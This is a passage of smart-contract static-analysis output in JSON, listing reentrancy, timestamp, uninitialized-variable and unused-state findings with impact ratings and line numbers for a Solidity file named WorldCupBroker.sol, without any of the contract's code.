1639, 1640, 1641, 1642, 1643, 1644, 1645, 1646, 1647, 1648, 1649, 1650, 1651, 1652, 1653, 1654, 1655, 1656, 1657, 1658, 1659, 1660, 1661, 1662, 1663, 1664, 1665, 1666, 1667, 1668, 1669, 1670, 1671, 1672, 1673, 1674, 1675, 1676, 1677, 1678, 1679, 1680, 1681, 1682, 1683, 1684, 1685, 1686, 1687, 1688, 1689, 1690, 1691, 1692, 1693, 1694, 1695, 1696, 1697, 1698, 1699, 1700, 1701, 1702, 1703, 1704, 1705, 1706, 1707, 1708, 1709, 1710, 1711, 1712, 1713, 1714, 1715, 1716, 1717, 1718, 1719, 1720, 1721, 1722, 1723, 1724, 1725, 1726, 1727, 1728, 1729, 1730, 1731, 1732, 1733, 1734, 1735, 1736, 1737, 1738, 1739, 1740, 1741, 1742, 1743, 1744, 1745, 1746, 1747, 1748, 1749, 1750, 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765, 1766, 1767, 1768, 1769, 1770, 1771, 1772, 1773, 1774, 1775, 1776, 1777, 1778, 1779, 1780, 1781, 1782, 1783, 1784, 1785, 1786, 1787, 1788, 1789, 1790, 1791, 1792, 1793, 1794, 1795, 1796, 1797, 1798, 1799, 1800, 1801, 1802, 1803, 1804, 1805, 1806, 1807, 1808, 1809, 1810, 1811]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1575]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2341]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2010]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1522]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2315]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2348]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2011]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2362]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2165]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2221]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [842]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2017]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2182, 2183, 2184, 2185, 2186]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2250]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2006]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2148]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [914]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [949]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [134]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [909]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [138]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1115]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [955]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [934]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [142]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1121]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2268]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [929]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [129]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 1841, 1842, 1843, 1844, 1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852, 1853, 1854, 1855, 1856, 1857, 1858, 1859, 1860, 1861, 1862, 1863, 1864, 1865, 1866, 1867, 1868, 1869, 1870, 1871, 1872, 1873, 1874, 1875, 1876, 1877, 1878, 1879, 1880, 1881, 1882, 1883, 1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912, 1913, 1914, 1915, 1916, 1917, 1918, 1919, 1920, 1921, 1922, 1923, 1924, 1925, 1926, 1927, 1928, 1929, 1930, 1931, 1932, 1933, 1934, 1935, 1936, 1937, 1938, 1939, 1940, 1941, 1942, 1943, 1944, 1945, 1946, 1947, 1948, 1949, 1950, 1951, 1952, 1953, 1954, 1955, 1956, 1957, 1958, 1959, 1960, 1961, 1962, 1963, 1964, 1965, 1966, 1967, 1968, 1969, 1970, 1971, 1972, 1973, 1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023, 2024, 2025, 2026, 2027, 2028, 2029, 2030, 2031, 2032, 2033, 2034, 2035, 2036, 2037, 2038, 2039, 2040, 2041, 2042, 2043, 2044, 2045, 2046, 2047]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2061, 2062, 2063, 2064, 2065, 2066, 2067, 2068, 2069, 2070, 2071, 2072, 2073, 2074, 2075, 2076, 2077, 2078, 2079, 2080, 2081, 2082, 2083, 2084, 2085, 2086, 2087, 2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166, 2167, 2168, 2169, 2170, 2171, 2172, 2173, 2174, 2175, 2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2223, 2224, 2225, 2226, 2227, 2228, 2229, 2230, 2231, 2232, 2233, 2234, 2235, 2236, 2237, 2238, 2239, 2240, 2241, 2242, 2243, 2244, 2245, 2246, 2247, 2248, 2249, 2250, 2251, 2252, 2253, 2254, 2255, 2256, 2257, 2258, 2259, 2260, 2261, 2262, 2263, 2264, 2265, 2266, 2267, 2268, 2269, 2270, 2271, 2272, 2273, 2274, 2275, 2276, 2277, 2278, 2279, 2280, 2281, 2282, 2283, 2284, 2285, 2286, 2287, 2288, 2289, 2290, 2291, 2292, 2293, 2294, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2302, 2303, 2304, 2305, 2306, 2307, 2308, 2309, 2310, 2311, 2312, 2313, 2314, 2315, 2316, 2317, 2318, 2319, 2320, 2321, 2322, 2323, 2324, 2325, 2326, 2327, 2328, 2329, 2330, 2331, 2332, 2333, 2334, 2335, 2336, 2337, 2338, 2339, 2340, 2341, 2342, 2343, 2344, 2345, 2346, 2347, 2348, 2349, 2350, 2351, 2352, 2353, 2354, 2355, 2356, 2357, 2358, 2359, 2360, 2361, 2362, 2363, 2364, 2365, 2366, 2367, 2368, 2369, 2370, 2371, 2372, 2373, 2374, 1833, 1834, 1835, 1836, 1837, 1838, 1839, 1840, 